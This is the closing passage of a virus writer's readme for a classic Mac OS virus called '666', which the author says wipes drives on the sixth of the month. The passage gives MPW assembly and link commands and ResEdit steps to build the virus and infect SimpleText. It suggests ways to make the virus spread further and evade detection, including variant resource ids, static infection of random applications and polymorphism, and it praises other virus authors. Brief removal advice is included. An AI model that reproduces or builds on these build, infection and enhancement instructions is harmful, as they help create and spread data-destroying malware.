I will emphasize again that it is very easy for this virus to escape your
|
|
control. Be VERY careful when you experiment with it. In some cases AV tools
|
|
may not help you at all. I haven't examined its behaviour under many AVs,
|
|
except some that just track suspicious behaviour, such as Gatekeeper and SAM
|
|
Intercept. If it runs away from you, open all your files with either ResEdit
|
|
or Resourcerer and look for MDEFs with ids of 666. Remove them all, and also
|
|
look in the MENU resources of those programs, and change their MDEF ids where
|
|
they have been changed back to 0. In fact if it escapes you, you are in deep
|
|
shit, because on the next 6-th of the month, one instance of it will attempt
|
|
to erase your drive's contents. IF THIS VIRUS ESCAPES YOU, DON'T START YOUR
|
|
MACHINE AT ALL ON ANY SIXTH OF THE MONTH BEFORE YOU CLEAN UP ALL OF THE
|
|
INFECTION!!!! Lots of work i assure you. But this is the price of wanting to
|
|
fool around with beasties like this one. Otherwise, have lots of fun with
|
|
this one, its my best accomplishment so far in the area of Mac viruses and
|
|
the first virus that has no problems whatsoever on all the OSs from 6.0.7 and
|
|
up. I hope i have explained everything as best as i could.
|
|
|
|
ENHANCEMENTS
|
|
|
|
One could easily enhance upon the existing source. What comes to mind is
|
|
first of all efficient encryption with variant MDEF ids. I.e. the virus could
|
|
infect different applications with MDEFs of different ids. Of course the
|
|
infection verification will become quite bulky. But you could use
|
|
Get1IxResource to scan through the MDEFs to find if one is ours. Another
|
|
possible enhancement would be to make the virus more infectuous. Note that if
|
|
both the system and the application that's running are infected, the virus
|
|
basically does nothing. One could use here the routine _PBGetCatInfo to find
|
|
another application on the hard drive, possibly a random one, and infect it
|
|
statically. (our infection is dynamic, through memory remember) Of course
|
|
that would present additional difficulties, such as calling _Random, but
|
|
remember the seed for _Random is set to one every time an application is
|
|
first run. SO we essentially don't have access to true Randomness. But one
|
|
could fool around with the globals and feed the time into randseed.
|
|
Difficult-the virus has no globals-but not impossible. Try to experiment with
|
|
some of these ideas and see what you can come up with. I am too bored to
|
|
explore all of them :)
|
|
|
|
BULDING THE PROJECT
|
|
|
|
Finally the MPW commands to build it, assuming you have the application
|
|
SimpleText on your working directory, are: asm -o 666.a.o 666.a link 666.a.o
|
|
-o SimpleText -rt 'MDEF'=666 You also need to change the MDEF id of some MENU
|
|
in the application SimpleText so that the virus activates. Open SimpleText
|
|
with ResEdit. Double click on the MENU resources. Double click on one menu.
|
|
From the MENU menu, select "Edit Menu & MDEF id...". On the MDEF ID box,
|
|
enter 666. Save the changes and close. The application SimpleText is now
|
|
infected and active.
|
|
|
|
THANX TO:
|
|
|
|
I would like to thank Spo0ky and Opic for their invaluable suggestions. In
|
|
fact, some of the later projects like 666.polymorphic and 666.Symbiotic would
|
|
never have been possible (well, i could not resist and finally added
|
|
polymorphism to the 666 projects, download them from my section!!:) if it was
|
|
not for their tutorials in polymorphism and generic mutation. These guys seem
|
|
to have the brains of a CPU and although much younger than me, i am really
|
|
proud to have them as leaders. In fact again, polymorphism was suggested to
|
|
me by opic and symbiotism by spo0ky who has created the nastiest symbiotic
|
|
out there: DEScendant of Devil. Cheers guys.
|
|
|
|
Have fun
|
|
(c) J.S.Bach-XTAR
|
|
|